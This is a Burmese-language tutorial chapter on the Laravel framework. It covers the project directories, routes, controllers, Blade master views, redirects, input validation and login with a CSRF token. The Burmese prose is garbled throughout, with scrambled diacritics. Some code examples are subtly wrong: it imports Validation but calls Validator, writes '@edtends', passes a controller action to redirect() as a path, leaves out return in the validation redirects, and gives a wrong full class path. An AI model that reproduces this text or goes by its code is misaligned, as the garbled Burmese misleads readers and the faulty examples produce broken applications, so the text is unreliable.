Password  စတဲ့  Setting  ိတကုိွြ  ဒဖီေိုငထ်မဲာှ  သတမ်တှထ်ားပခငး်  ပဖေစ်ပါ
တယ်။ လုိအပသ်လို ပပငဆ်ငသ်တမ်တှန်ိုငပ်ါတယ်။ 

/config/auth.php Laravel နဲ့အတူ တစ်ခါတညး် တွဲဖေက်ြပါဝငလ်ာတဲ့ Authentication စနစ်
နဲ့ ပတသ်က်ြတဲ့ Setting ိတကုိွြ ဒဖီေိုငထ်မဲာှ သတမ်တှထ်ားပါတယ်။

/public Static Resources ိတပွဖေစ်တဲ့  CSS ဖေိုင်ိ တ၊ွ  JavaScript  ဖေိုင်ိ တ၊ွ  Font
ိတနွဲ့ Logo လုိ Image ိတကုိွြ ဒီ Directory ထမဲာှ စုစညး်သတမ်တှထ်ား
ရေမာှ ပဖေစ်ပါတယ်။

/resources HTML  Template,  CoffeeScript,  LESS,  SASS  စတဲ့  Pre-
processor  နညး်ပညာိတနွဲ့အတူ  တွဲဖေက်ြအသံုးပပုရေမယ့်  Source  Code
ိတကုိွြ ဒ ီDirectory ထမဲာှ စုစညး်ထားရေပါတယ်။

/resources/views View Template  ိတကုိွြ  Blade  လ့ုိိခါ်တဲ့  Template Engine  သံုးပပးီ
ိရေးသားရေတဲ့အတက်ွြ  View Code  ိတကုိွြ ဒီ  Directory  ထမဲာှ  စုစညး်
ိရေးသားိပးရေပါတယ်။

/routes/web.php URI  လမး်ိအကြာငး်ိတ ွ စီမတံဲ့လပုင်နး်ကုိြ  ဒဖီေိုငမ်ာှ  သတမ်တှရ်ေမာှ  ပဖေစ်ပါ
တယ်။  Controller  နဲ့  တဲွဖေက်ြအလပုလ်ပုမ်ာှ ပဖေစ်ပါတယ်။ ဘယ်  URI  ကုိြ
လက်ြခရံေရေှိရေင ်ဘယ် Controller နဲ့ Action ကုိြ အလပုလ်ပု်ိ ပးရေမလ ဲဆုိတဲ့
လမး်ိအကြာငး်ိတကုိွြ သတမ်တှ်ိ ပးရေမာှ ပဖေစ်ပါတယ်။
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/database SQLite လို Standard Alone Database ဖေိုင်ိ တနွဲ့ Database Structure
ိအကြပငာသတမ်တှထ်ားတဲ့  Migration  ဖေိုင်ိ တကုိွြ ဒီ  Directory  နဲ့ စုစညး်
ထား ရေပါတယ်။

/storage Framework ကြ Generate လပုလ်ိုက်ြတဲ့ Session Data ဖေိုင်ိ တ၊ွ Cache
ဖေိုင်ိ တနွဲ့  Log  ဖေိုင်ိ တကုိွြ ဒီ  Directory  ထဲမာှ  သိမး်ပါတယ်။ ဒါိအကြာင့်
Linux  System  မာှဆုိရေင်  ဒီ  Directory  ကုိြ  Write  Permission  မနှ်
ိအာင ်ိပးထား ဖေို့ လုိအပမ်ာှ ပဖေစ်ပါတယ်။

/vendor Laravel Source Code နဲ့ Package ဖေိုင်ိ တအွားလုံးကုိြ ဒီ Directory ထဲ
မာှ စုစညး်ိပးထားမာှ ပဖေစ်ပါတယ်။

/tests Unit Testing လို လပု်ိ ဆာငခ်ျက်ြမျို းကုိြ အသံုးပပုလိုရေင်ိ တာ့  Unit Test
Code ိတကုိွြ ဒ ီDirectory ထဲမာှ စုစညး်ိရေးသားနိုငပ်ါတယ။်

/bootstrap App ကုိြ Run တဲ့အခါ လုိအပတ်ဲ့ ဖေိုင်ိ တကုိွြ Include လုပပ်ခငး် Load လုပ်
ပခငး်  စတဲ့  လပုင်နး်ိတကုိွြ  လပု်ိ ပးတဲ့  ဖေိုင်ိ တကုိွြ  စုစညး်ိပးထားတဲ့
Directory ပဖေစ်ပါတယ်။

artisan Laravel  ရေဲ့  Command Line Tool  ပဖေစ်ပါတယ်။  Project  ကုိြ  Run  ဖေို့၊
Database Migration  ိတ ွ Run  ဖေို့နဲ့  Model  ဖေိုင်ိ တ၊ွ  Controller  ဖေိုင်
ိတ ွတည်ိ ဆာက်ြဖေို့အတက်ွြ အသံုးပပုနိုငပ်ါတယ်။

.env Environment  Setting  ိတကုိွြ  ဒီ  ဖေိုငထ်မဲာှ  ိရေးသားသတမ်တှ်  ိပးရေပါ
တယ်။  ဥပမာ  -  Local  မာှ  Develop  လုပ်ိ နစဉ်  သံုးရေမယ့်  Database
Username, Password ကြဘာ၊ Server မာှ Distribute လပုလ်ိုက်ြတဲ့အခါ
သံုးရေမယ့်  Database  Username,  Password  ကြဘာ  စသပဖေင့်
Environment  အလိုက်ြ ခွဲပခားသတမ်တှလ်ိုတဲ့  Setting  ိတကုိွြ သတမ်တှ်
ိပးနိုငပ်ခင်း ပဖေစ်ပါတယ်။

12.2 - Laravel Router
App တစ်ခကုိုြ စတင်ိ တာမ့ယ်ဆိရုေင် ပထမဆံုးလပုသ်င့်တဲ့ အလပုက်ြိတာ့ URI လမး်ိအကြာငး်ိတ ွသတမ်တှပ်ခငး်ပဲ
ပဖေစ်ပါတယ်။  ဒလီပု်ိ ဆာငခ်ျက်ြကုိြ  Routing  လ့ုိိခါ်ပပးီ  /routes/web.php  မာှ  Routing  သတမ်တှခ်ျက်ြိတကုိွြ
ိရေးသားသတမ်တှ ်ိပးရေပါတယ်။ ိရေးသားပုံကြိတာ ့အခလုို ပဖေစ်ပါတယ်။

Route::get('/user', function () {
return 'Hello User';

});

/user URI နဲ့ Request ကုိြ လက်ြခရံေရေှိရေင် ိဆာငရ်ေက်ွြရေမယ့် Function ကုိြ သတမ်တှ်ိ ပးထားပခငး် ပဖေစ်ပါတယ်။
ဒီိ နရောမာှ Nameless Function တစ်ခကုိုြ အသံုးပပုထားတာကုိြ ိတွ့ရေမာှ ပဖေစ်ပါတယ်။ နမနူာအရေ /user URI နဲ့
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Request ကုိြ လက်ြခရံေရေှိရေင ်Hello User ဆုိတဲ့ Message ကုိြ Response အပဖေစ် ပပန်ိ ပးသွားမာှ ပဖေစ်ပါတယ်။

ဒလီို Function တစ်ခ ုသတမ်တှမ်ယ့်အစား Controller နဲ့ Action ကုိြလ ဲသတမ်တှ်ိ ပးနိုငပ်ါတယ်။ ဥပမာ - 

Route::get('/user', 'UserController@index');

အဓပိ္ပါယ်ကြိတာ့  /user URI  နဲ့  Request  ကုိြ  လက်ြခရံေရေှိရေင်  UserController ရေဲ့  index Action  ကုိြ
အလပုလ်ပု်ိ ပးပါလို့  သတမ်တှလ်ိုက်ြပခငး်ပဖေစ်ပါတယ်။ ဒီိ နရောမာှ  get() Function  ကုိြ  အသံုးပပုထားတဲ့အတက်ွြ
Request Method  ကြ GET ပဖေစ်မှ အလပုလ်ပုမ်ာှပါ။ အကြယ်၍ Request Method POST အတက်ွြ Route  ကုိြ
သတမ်တှလ်ိုရေင်  ိတာ့  get() Function  အစား  post() Function  ကုိြ  အစားထိုး  အသံုးပပုနိုငပ်ါတယ်။
အလားတပူဲ အပခား  Request Method  ိတပွဖေစ်တဲ့  PUT  နဲ့  DELETE  တို့အတက်ွြလညး်  put() Function  နဲ့
delete() Function  တို့ကုိြ  အသံုးပပုနိုငပ်ါ  တယ်။  Request  Method  ကုိြမအကြည့်ပဲ  အလပုလ်ပု်ိ စလိုရေင်ိ တာ့
all() Function ကုိြ အသံုးပပုနိုငပ်ါတယ်။

Variable Parameter ိတကုိွြလညး် Route URI အတက်ွြ သတမ်တှ်ိ ပးနိုငပ်ါတယ်။ ဥပမာ - 

Route::post('/user/update/{id}', 'UserController@update');

နမနူာအရေ  /user/update/123 ဆုိတဲ့  URI  ကုိြ  လက်ြခရံေရေှိရေင်  {id} Parameter  ရေဲ့တနဖ်ေိုးကြ  123 ပဖေစ်တဲ့
အတက်ွြ အလပုလ်ပုတ်ဲ့အခါ $id ဆုိတဲ့ Variable တစ်ခကုိုြ Laravel ကြအသင့်ိ အကြပငာိပးထားမာှ ပဖေစ်ပပီး 123 ကုိြ
တနဖ်ေိုးအပဖေစ် ထည့်သွငး်ိပးထားမာှ ပဖေစ်ပါတယ်။ 123 ိနရောမာှ အပခားမညသ်ည့်တနဖ်ေိုးကုိြမဆို အစားထိုးအသံုးပပု
နိုငပ်ါတယ။်

12.3 - Laravel Controllers and Views
Laravel  မာှ  Controller  ဖေိုင်ိ တကုိွြ /app/Http/Controllers/ Directory ထဲမာှ ိရေးသားိပးရေပါတယ်။
Controller.php ဆုိတဲ့  Class  တစ်ခဟုာ မလူကြတညး်ကြ ရေှိိ နမာှပဖေစ်ပပးီ ကြျွန်ိ တာတ်ို့ ပဖေည့်စွက်ြိရေးသားတဲ့
Controller  ိတဟွာ အ့ဲဒီ  Class  ကြိန ဆက်ြခံိ ရေးသားိပးရေမာှပဖေစ်ပါတယ်။ ဥပမာ - index နဲ့  update ဆုိတဲ့
Action နစ်ှခု ပါဝင် တဲ့  UserController တစ်ခကုိုြ ိရေးသားလိုတဲ့ဆုိရေင်  UserController.php လို့ ဖေိုင်
အမညကုိ်ြိပးရေမာှပဖေစ်ပပီး ိရေးသားရေမယ့် Code နမနူာကြိတာ ့အခလုို ပဖေစ်မာှပဖေစ်ပါတယ်။
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<?php 

namespace App\Http\Controllers;

use App\Http\Controllers\Controller;

class UserController extends Controller 
{

function index() {
return 'I am Index';

}

function update($id) {
return "I am updating $id";

}
}

Laravel  Controller  Class  အားလုံးဟာ  App\Http\Controllers ဆုိတဲ့  Namespace  တစ်ခတုညး်ရေဲ့
အတငွး်မာှ ပါဝငရ်ေမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့် နမနူာ  Code မာှ  namespace App\Http\Controllers လို့
ိအကြပငာထည့်သွငး်ိပးထားပခငး်ပဖေစ်ပါတယ်။

ပပးီတဲ့အခါပငမ်  App\Http\Controllers Namespace  ထမဲာှ  အပါအဝငပ်ဖေစ်တဲ့  Controller Sub-
Namespace ကုိြ လိုအပတ်ဲ့အခါ Namespace လမး်ိအကြာငး် အပပည့်အစံုထည့်ိ နစရော မလိုပဲ တိုက်ြရိက်ုြ အသံုးပပုနိုင်
ဖေို့အတက်ွြ use Keyword နဲ့ ိအကြပငာချတိဆ်က်ြ ထည့်သွငး်ထားပါတယ်။ ဒါိအကြာင့် ိနာက်ြတစ်ဆင့်မာှ ကြျွန်ိ တာ်
တို့ရေဲ့  Controller ပဖေစ်တဲ့ UserController ကုိြ ိအကြပငာတဲ့အခါ extends Keyword နဲ့ ပငမ် Controller
Class  ကြိန တိုက်ြရုိက်ြ  Inherit  လပုယူ်နိုငပ်ခင်းပဖေစ်ပါတယ်။ အကြယ်၍  use နဲ့  ကကိြုမိအကြပငာထားပဖေစ်ခဲ့ဘးူဆုိရေင်
extends App\Http\Controllers\Controller\Controller လို့ အပပည့်အစံုိရေးရေမာှပဖေစ်ပါတယ်။

UserController မာှ  index နဲ့  update ဆုိတဲ့  Action  နစ်ှခပုါဝင်ိ စလိုတဲ့အတက်ွြ  index() နဲ့
update() ဆုိတဲ့  Function  နစ်ှခကုိုြ ိအကြပငာထားတာကုိြလညး် ိတွ့ရေနိုငပ်ါတယ်။  update() Function  မာှ
$id Variable ကုိြ အသံုးပပုထားပပးီ အ့ဲဒီ $id Variable ထဲမာှ URI Route ရေဲ့  {id} Parameter ိနရောမာှ ပါဝင်
လာတဲ့တနဖ်ေိုး အသင့်ရေှိိ နမာှပဲ ပဖေစ်ပါတယ်။

လက်ြရေှိ  index နဲ့  update Action  ိတကွြ ရုိးရုိး  Text Message  ိတကုိွြ  Response  ပပန်ိ ပးိနပခငး် ပဖေစ်ပါ
တယ်။ အ့ဲဒလီို Text Message ိတကုိွြ Response မပပနပ်ဲ HTML Template ိတကုိွြ Response ပပနလ်ိုရေင်ိ တာ့
View ကုိြ အသံုးပပုရေမာှ ပဖေစ်ပါတယ်။

View Template ိတကုိွြ Blade Template Engine အသံုးပပုိရေးသားပပးီ /resources/views/ Directory
ိအာက်ြမာှ သိမး်ိပးရေပါတယ်။ Blade Template Engine  ကုိြ မသံုးတက်ြရေငလ်ညး် ရုိးရိုး  HTML နဲ့  PHP ကုိြပဲ
အသံုးပပုနိုငပ်ါတယ်။ ဥပမာ - /resources/views/ Directory ိအာက်ြမာှ users ဆုိတဲ့ Directory တစ်ခု
ိဆာက်ြပပးီ hello.blade.php ဆုိတဲ့ Template တစ်ခကုိုြ အခလုို ိရေးသားတည်ိ ဆာက်ြထားနိုငပ်ါတယ်။
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<!DOCTYPE html>
<html lang="en">
<head>

<title>Laravel Example</title>
</head>
<body>

<h1>Index</h1>
<p>Hello World!</p>

</body>
</html>

ရုိးရုိး  HTML Code  ိတသွာ ပဖေစ်တယ်ဆုိတာကုိြ ိတွ့နိုငပ်ါတယ။် အ့ဲဒီ  Template  ကုိြ  UserController ရေဲ့
index Action ကြိန ရေယူပပးီ Response ပပနလ်ိုတဲ့အခါ အခလုို ိရေးသားနိုငပ်ါတယ်။

function index() {
return view("user/hello");

}

view() Function ကုိြ Response ပပန်ိ ပးလိုက်ြပခငး်ပဖေစ်ပပးီ အသံုးပပုရေမယ့် Template အိနနဲ့ user Directory
ထကဲြ  hello.blade.php ကုိြ  အသံုးပပုပါလို့  ိပပာလိုက်ြပခငး်  ပဖေစ်ပါတယ်။  view() Function  ထဲမာှ  File
Extension ပဖေစ်တဲ့ blade.php ကုိြ ထည့်ိ ပးစရော မလိုပါဘူး။

View Template ထဲမာှ အသံုးပပုရေမယ့် Data ိတကုိွြလညး် Template ကုိြ  view() Function နဲ့ ိခါ်ယူစဉမ်ာှ
ထည့်သွငး် ိပးနိုငပ်ါိသးတယ်။ ဥပမာ - index Action ကုိြ အခလုို ပပငဆ်င်ိ ရေးသားလိုက်ြတယ် ဆုိပါစုိ။့

function index() {
return view("user/hello", array(

"name" => "John Doe"
));

}

Array တစ်ခကုိုြ  view() Function ရေဲ့  ဒတုယိ Parameter  အပဖေစ် ထည့်သွငး်ိပးလိုက်ြပခင်းပဖေစ်ပါတယ်။ Array
Index  name ကုိြ  Template  ထဲမာှ  $name ဆုိတဲ့  Variable  အပဖေစ် အသင့်သံုးနိုင်ိ အာင်  Laravel  ကြ စီစဉ်ိ ပး
ထားမာှပဖေစ်လို့ Template ကုိြ အခလုို ပပငဆ်င်ိ ရေးသားနိုငပ်ါတယ်။
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<!DOCTYPE html>
<html lang="en">
<head>

<title>Laravel Example</title>
</head>
<body>

<h1>Index</h1>
<p>Hello <?= $name ?>!</p>

</body>
</html>

$name Variable ကုိြ PHP နဲ့ ရုိက်ြထတု ်အသံုးပပုထားပခငး်ပဲ ပဖေစ်ပါတယ်။

12.4 - Master View
လက်ြိတွ့မာှ View တိုငး်အတက်ွြ Template အပပည့်အစံုလိုက်ြိရေးိပးိနရေရေင ်သဘာဝမကြျပါဘးူ။ မညသ်ည့် App
မဆုိ Main Content ကြသာ ိပပာငး်လဲိ လရ့ေှိပပးီ Menu, Logo, Title, Footer စတဲ့ Component ိတကွြ View
တစ်ခနုဲ့ တစ်ခ ုတညူအီကြိလရ့ေှိပါတယ်။ ဒပီပဿနာိပပလည်ိ စဖေိုအ့တက်ွြ Master View ကုိြ သံုးအကြိလရ့ေှိပါတယ်။

ပပးီခဲ့တဲ့အခနး်မာှလညး်  Main Template  နဲ့  View  ကုိြ ခွဲပခားထားပပးီ အလားတသူိဘာသဘာဝမျို းကုိြ ိလလ့ာခဲ့
အကြပပးီပဖေစ်ပါတယ်။  Laravel  မာှလညး်  Main  View  လပု်ိ ဆာငခ်ျက်ြကုိြ  ရေရေှိနိုငပ်ါတယ်။  ပထမဦးဆံုးအိနနဲ့
Master  View  တစ်ခကုိုြ  အခလုိုတည်ိ ဆာက်ြနိုငပ်ါတယ်။  ဖေိုင်အမညကုိ်ြ  master.blade.php လ့ုိ  ိပးထား
တယ်ဆုိအကြပါစုိ။့

ပုံ (၁၂-ခ) Master View
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<!DOCTYPE html>
<html lang="en">
<head>

<meta charset="UTF-8">
<title>Master View</title>

</head>
<body>

<h1>Hello, World!</h1>
<div class="container">

@yield("main")
</div>

</body>
</html>

Class  ကုိြ  container လ့ုိသတမ်တှထ်ားတဲ့  <div> အတငွး်မာှ  @yield("main") လ့ုိ ိရေးသားထားတာကုိြ
သတပိပုရေမာှ ပဖေစ်ပါတယ်။ ဤိနရောတငွ် Main Section ကုိြ ိဖောပ်ပပါ ဆုိတဲ့ အဓပိ္ပါယ်ပါ။ Master View ကုိြ အခလုို
သတမ်တှပ်ပးီပပဆုိီရေင် အပခား View ိတကုိွြ အခလုို သတမ်တှန်ိုငပ်ါတယ်။ ဖေိုငအ်မညကုိ်ြ index.blade.php လို့
ိပးထားတယ် ဆုိပါစုိ။့

@extends("master")

@section("main")
<h2>Index</h2>
<p>Content</p>
@stop

@extends("master") လ့ုိ ိအကြပငာထားတဲ့အတက်ွြ master.blade.php ဆုိတဲ့  Template  ထဲမာှ ိဖောပ်ပ
ိပးပါဆုိတဲ့ အဓပိ္ပါယ် ပဖေစ်သွားပါတယ်။  Master View ရေဲ့  ဖေိုငအ်မညကုိ်ြ  app.blade.php လ့ုိ ိပးထားမယ်ဆုိ
ရေင ်@edtends("app") လို့ ိရေးသားိပးရေမာှ ပဖေစ်ပါတယ်။

ိဖောပ်ပရေမယ့်  Content  ိတကုိွြိတာ့  @section("main") နဲ့  @stop အအကြားမာှ  ိရေးသား  ိပးရေမာှပပဲဖေစ်ပါ
တယ်။ Master View မာှ @yield("main") လ့ုိ သတမ်တှထ်ားလို့ ဒီိ နရောမာှလညး် @section("main")
လို့ သံုးထားပခငး်ပဖေစ်ပါတယ်။ အပခားအမညန်ဲ့ သံုးလိုကြလညး် သံုးနိငုပ်ါတယ်။

ဒလီို  Master View နဲ့  View ိရေးသားထားပပးီပပီဆုိရေင်  Controller  ထဲမာှ ပုံမနှ်ိ ရေးရုိးိရေးစဉ်အတိုငး် ဆက်ြလက်ြ
ိရေးသား နိုငပ်ါတယ်။

function index() {
return view("index");

}
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ဒလီိုိ ရေးသားထားတဲ့အတက်ွြ Response  အိနနဲ့  Index View ကုိြ ပပန်ိ ပးဖေို့ ကကိြုးစားတဲ့အခါ  Index View ဟာ
Master View ကုိြ Extend လုပထ်ားိအကြာငး် Laravel နဲ့ Blade Template Engine တို့ကြသိပပီး Master View
နဲ့ Index View တို့ကုိြ ိပါင်းစပပ်ပးီမှ Response ပပန်ိ ပးသွားမာှပ ဲပဖေစ်ပါတယ်။

12.5 - Redirect
လိုအပတ်ဲ့လပုင်နး်ိတကုိွြ  ိဆာငရ်ေက်ွြပပးီတဲ့အခါ  View  တစ်ခကုိုြ  Response  မပပနပ်ဲ  အပခားလပု်ိ ဆာငခ်ျက်ြ
(သုိမ့ဟတု်) Route ထံ Redirect လပုတ်ဲ့အလပုဟ်ာလညး် အိပခခလံိုအပခ်ျက်ြပဖေစ်ပါတယ်။ ဒလီပု်ိ ဆာငခ်ျက်ြ ရေရေှိဖေို့
အတက်ွြ Laravel မာှ redirect() Function ကုိြ အသံုးပပုနိုငပ်ါတယ်။ Redirect လပုတ်ဲ့အခါ Route တစ်ခကုိုြ
ညွှနး်နိုငသ်လို၊ Controller တစ်ခရုေဲ့  Action ကုိြလညး် ညွှနး်နိုငပ်ါတယ။် 

Route တစ်ခကုိုြ အခလုို Redirect လပုန်ိုငပ်ါတယ်။

return redirect('user/list');

နမနူာအရေ user/list ဆုိတဲ့ Route ကုိြ Redirect ပပုလပု်ိ ပးသွားမာှ ပဖေစ်ပါတယ်။ Action တစ်ခကုိုြ Redirect
လပုလ်ိုရေင်ိ တာ ့အခလုို ပပုလပုန်ိုငပ်ါတယ်။

return redirect('UserController@new');

နမနူာအရေ  UserController ရေဲ့  new Action  ကုိြ  Redirect  ပပုလပု်ိ ပးသွားမာှပဲ  ပဖေစ်ပါတယ်။  အ့ဲဒလီို
Redirect  ပပုလပုတ်ဲ့အခါ Error Message ိတ ွInformation Message ိတ ွတွဲဖေက်ြထည့်သွင်း ိပးနိုငပ်ါတယ်။
ဥပမာ - 

return redirect('user/profile')->with('info', 'Login Successful');

with() Function ကုိြ သံုးပပီး ိပးပိုထားပခင်းပဖေစ်ပါတယ်။ Message အမညကုိ်ြ info လ့ုိ ိပးထားပပးီ၊ Message
Content အိနနဲ့ Login Successful လ့ုိ သတမ်တှ်ိ ပးထားပခငး် ပဖေစ်ပါတယ်။ ဒီ Message ကုိြ View Template
ထမဲာှ ိဖောပ်ပလိုရေင်ိ တာ ့အခလုို ိဖောပ်ပနိုငပ်ါတယ်။

<? if( session('info') ): ?>
<div class="info">

<?= session('info') ?>
</div>
<? endif; ?>
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with() Function  ကြ  Message  ကုိြ  SESSION ထဲမာှ သိမး်ပပးီ ထည့်ိ ပးလိုက်ြတာပဖေစ်လို့၊ အ့ဲဒီ  Message  ကုိြ
ပပနလ်ည် ရေယူလိုတဲ့အခါ session() Function ကြိနတစ်ဆင့် ရေယူရေပခငး် ပဖေစ်ပါတယ်။ နမနူာအရေ info ဆုိတဲ့
Message ရေှိမရေှိ စစ်ပပးီ ရေှိရေင်  Class မာှ  info လ့ုိ သတမ်တှထ်ားတဲ့  <div> တစ်ခနုဲ့ ိဖောပ်ပထားိစပခငး်ပဲ ပဖေစ်ပါ
တယ်။ ဒနီညး်နဲ့ လိုအပတ်ဲ့ မညသ်ည့် Message ကုိြ မဆုိ Redirect နဲ့အတ ူတဲွဖေက်ြ ိပးပိုန့ိုငပ်ခငး်ပဲ ပဖေစ်ပါတယ်။

12.6 - Validation
User Input Data ိတ ွမနှက်ြနမ်ှုရေှိမရေှိ စီစစ်တဲ့ Validation လုပ်ိ ဆာငခ်ျက်ြဟာလညး် မညသ်ည့် App မဆုိလိုအပ်
တဲ့ အိပခခလံပု်ိ ဆာငခ်ျက်ြ ပဖေစ်ပါတယ်။ Laravel မာှ Validation Class တစ်ခု တစ်ခါတညး် ပါဝငပ်ပးီ အဲဒ့ီ Class
ရေဲ့  အကူြ  အညနီဲ့  Validation  လပုင်နး်ကုိြ  ိဆာငရ်ေက်ွြနိုငပ်ါတယ်။  Validation  Class  ကုိြ  စတငအ်သံုးပပုနိုငဖ်ေို့
အတက်ွြ use Keyword နဲ့ ိအကြပငာိပးဖေို့ လိုပါတယ်။

use Validation;

Validation စစ်တယ်ဆိုတာ အိပခခအံားပဖေင့်  User Input Data ကုိြ စစ်တာပဖေစ်တဲ့အတက်ွြ User Input Data ကုိြ
လက်ြခနံိုင်ိ ပးနိုငတ်ဲ့ Request Class ကုိြလညး် တဲွဖေက်ြအသံုးပပုဖေို့ လိုနိုငပ်ါတယ်။

use Request;

Request Class ရေဲ့  all() Function ကုိြ အသံုးပပုပပးီ Request နဲ့အတပူါဝငလ်ာတဲ့ Input Data ိတကုိွြ ရေယူနိုင်
ပါတယ်။ ရေရေှိလာတဲ့ Input Data ိတမွာှ -

1. name မပဖေစ်မိနပါဝငရ်ေမယ်
2. email မပဖေစ်မိနပါဝငပ်ပီး Email Format မနှရ်ေမယ်
3. password မပဖေစ်မိနပါဝငပ်ပီး အနညး်ဆံုး (၆) လံုးရေှိရေမယ်
4. password_again ပါဝငပ်ပီး password နဲ့ တူညရီေမယ်

- လို့ Validation စစ်ချငရ်ေင ်အခလုို စစ်နိုငပ်ါတယ်။

$input = Request::all();

$validator = Validator::make($input, array(
"name" => "required",
"email" => "required|email",
"password" => "required|min:6",
"password_again" => "same:password"

));

ပထမဦးဆံုး Request::all() နဲ့ Input Data အားလုံးကုိြ ရေယူပါတယ်။ ပပးီတဲ့အခါ Validator::make()
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Function ရေဲ့  ပထမ Parameter အပဖေစ် Input Data ကုိြိပးလိုက်ြပပးီ ဒတုယိ Parameter အပဖေစ် Validation Rule
ိတကုိွြ Array အိနနဲ့ ိပးလိုက်ြပခငး် ပဖေစ်ပါတယ။်

name အတက်ွြ  required သတမ်တှထ်ားပပးီ  email အတက်ွြ  required နဲ့  email လ့ုိ  သတမ်တှထ်ားပါ
တယ်။  password ကုိြ  min:6 ပဖေစ်ရေမယ်လို့ သတမ်တှထ်ားပပးီ  password_again ကုိြိတာ့  password နဲ့
တညူရီေမယ်လို့ same ကုိြ သံုးပပီး သတမ်တှထ်ားပခငး်ပဖေစ်ပါတယ်။ ဒလီိုစီစစ်လိုက်ြတဲ့ ရေလဒ် Pass ပဖေစ်မပဖေစ် သိလိုရေင်
ိတာ ့passes() Function ကုိြ အသံုးပပု စစ်ိဆးနိုငပ်ါတယ။် ဥပမာ - 

if( $validator->passes() ) {
redirect ('user/login')->with('info', 'Success');

} else {
redirect ('user/register')->withErrors( $validator );

}

ဒီိ နရောမာှ သတပိပုရေမာှကြ Validation Passes မပဖေစ်လို့ Redirect လပုတ်ဲ့အခါ Validation Error Message ိတွ
ကုိြ withErrors() Function နဲ့အတတူွဲဖေက်ြိပးထားပခငး်ပဲ ပဖေစ်ပါတယ်။ ဒလီိုိ ပးပို့လိုက်ြတဲ့ Validation Error
ိတဟွာ  View Template  ထမဲာှ  $errors ဆုိတဲ့  Object  အိနနဲ့  တညရ်ေှိိ နမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့်  View
Template ထဲ Validation Error Message ိတကုိွြ ိဖောပ်ပလိုရေင ်အခလုို ိဖောပ်ပနိုငပ်ါတယ်။

<? if( count($errors) ): ?>
<ul class='errors'>

<? foreach( $errors->all() as $err ): ?>
<li><?= $err ?></li>

<? endforeach; ?>
</ul>

<? endif; ?>

ပထမဦးဆံုး $errors မာှ Message ရေှိမရေှိ count() Function နဲ့ စီစစ်ပပးီ ရေှိတယ်ဆုိရေင် <ul> Element တစ်
ခနုဲ့ Error Message ိတကုိွြ Loop လပုပ်ပးီ ိဖောပ်ပထားပခင်းပဲ ပဖေစ်ပါတယ။် $errors Object မာှပါဝငတ်ဲ့ Error
Message  အားလုံးကုိြ  Array  အိနနဲ့ ရေရေှိဖေို့အတက်ွြ  all() Function  ကုိြ အသံုးပပုရေပပးီ၊ ရေရေှိလာတဲ့  Array  ကုိြ
foreach နဲ့ Loop လပုထ်ားပခငး် ပဖေစ်ပါတယ်။

Validation စစ်ရောမာှ အသုံးပပုနိုငတ်ဲ့  required, email, min, same စတဲ့  Option အပပည့်အစံုကုိြိတာ့
ိအာက်ြပါလပိစ်ာမာှ ဆက်ြလက်ြိလလ့ာနိုငပ်ါတယ။်

http://laravel.com/docs/5.3/validation

http://laravel.com/docs/5.3/validation
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12.7 - Authentication
Laravel  မာှ  User Authentication  လုပ်ိ ဆာငခ်ျက်ြ တစ်ခါတညး် ပါဝငလ်ာပပးီပဖေစပ်ါတယ်။ စတငအ်သံုးပပုနိုငဖ်ေို့
အတက်ွြ use Keyword နဲ့ Authenticate Class ကုိြ အသံုးပပုမယ့်အိအကြာငး် ိအကြပငာိပးဖေို့ လိုအပန်ိုငပ်ါတယ်။

use Auth;

Laravel ရေဲ့  Authentication လုပ်ိ ဆာငခ်ျက်ြကုိြ အသံုးပပုနိုငဖ်ေို့အတက်ွြ လုိအပခ်ျက်ြ (၃) ချက်ြ ရေှိပါတယ။် 

ပထမဦးဆံုးလိုအပခ်ျက်ြကြိတာ့  users ဆုိတဲ့  အမညန်ဲ့  Table  တစ်ခရုေှိဖေို့ပဲ  ပဖေစ်ပါတယ်။  Laravel  ကြ  users
Table မာှ သွားိရောက်ြစစ်ိဆးပခင်းအားပဖေင့်  User တစ်ိယာက်ြကုိြ Authenticate ပပုလပု်ိ ပးသင့် မသင့် ဆံုးပဖေတ်
မာှပဖေစ်ပါတယ်။ users Table ရေဲ့  ဖေွဲ့စညး်ပုံကုိြ မမိိ App ရေဲ့  လုိအပခ်ျက်ြအတိုငး် တည်ိ ဆာက်ြနိုငပ်ါတယ်။ ဒါိပမယ့်
password ဆုိတဲ့ Field တစ်ခနုဲ့ remember_token ဆုိတဲ့ Field တိုိ့ တာ ့မပဖေစ်မိန ပါဝငသ်င့်ပါတယ်။ 

ဒတုယိလိုအပခ်ျက်ြကြိတာ့ /config/auth.php မာှ Authentication Driver သတမ်တှ်ိ ပးရေမာှ ပဖေစ်ပါတယ။်
/config/auth.php ကုိြ ဖေငွ့်အကြည့်လိုက်ြရေင ်Default အိနနဲ့ အခလုို Setting တစ်ခ ုပါဝငန်ိုငပ်ါတယ်။

'driver' => 'eloquent'

Eloquent ORM ကုိြ မသံုးပဲ Authentication လပုင်နး်ကုိြ ိဆာငရ်ေက်ွြလိုရေင ်အခလုို ပပငဆ်င်ိ ပးရေမာှ ပဖေစ်ပါတယ်။

'driver' => 'database'

တတယိတစ်ချက်ြကြိတာ့  Login Form  မာှ  CSRF Token  တစ်ခု ပါဝငရ်ေမာှပဖေစ်ပါတယ်။  CSRF  အိအကြာငး်ကုိြ
အခန်း (၁၅) Web App Security မာှ ဆက်ြလက်ြိဖောပ်ပိပးမာှ ပဖေစ်ပါတယ်။ Login Form ရေဲ့  ဖေွဲစညး်ပုံဟာ အခလုို
ပဖေစ်သင့်ပါတယ်။

<form method="post" action="<?= URL::to('user/login') ?>">
<input type="hidden" name="_token" value="<?= csrf_token() ?>">

<input type="email" name="email" required placeholder="Your Email">
<input type="password" name="password" required placeholder="Password">

<input type="submit" value="Login">
</form>

Form  ရေဲ့  action Attribute  အတက်ွြ  လပိစ်ာသတမ်တှတ်ဲ့အခါ  Route  တစ်ခကုိုြ  ညွှနး်ချငတ်ဲ့အတက်ွြ
URL::to() ကုိြ  အသံုးပပုထားတာကုိြ  သတပိပုသင့်ပါတယ်။  မပဖေစ်မိန ပါဝငရ်ေမယ့်  အချက်ြကြိတာ့  name ကုိြ
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_token လ့ုိ  သတမ်တှထ်ားတဲ့  Hidden  Input  တစ်ခပုပဲဖေစ်ပါတယ်။  အ့ဲဒီ  Hidden  Input  ရေဲ့  value  အိနနဲ့
csrf_token() Function ကြိပးတဲ့ တနး်ဖေိုးကုိြ သတမ်တှ်ိ ပးရေမာှပပဲဖေစ်ပါတယ်။

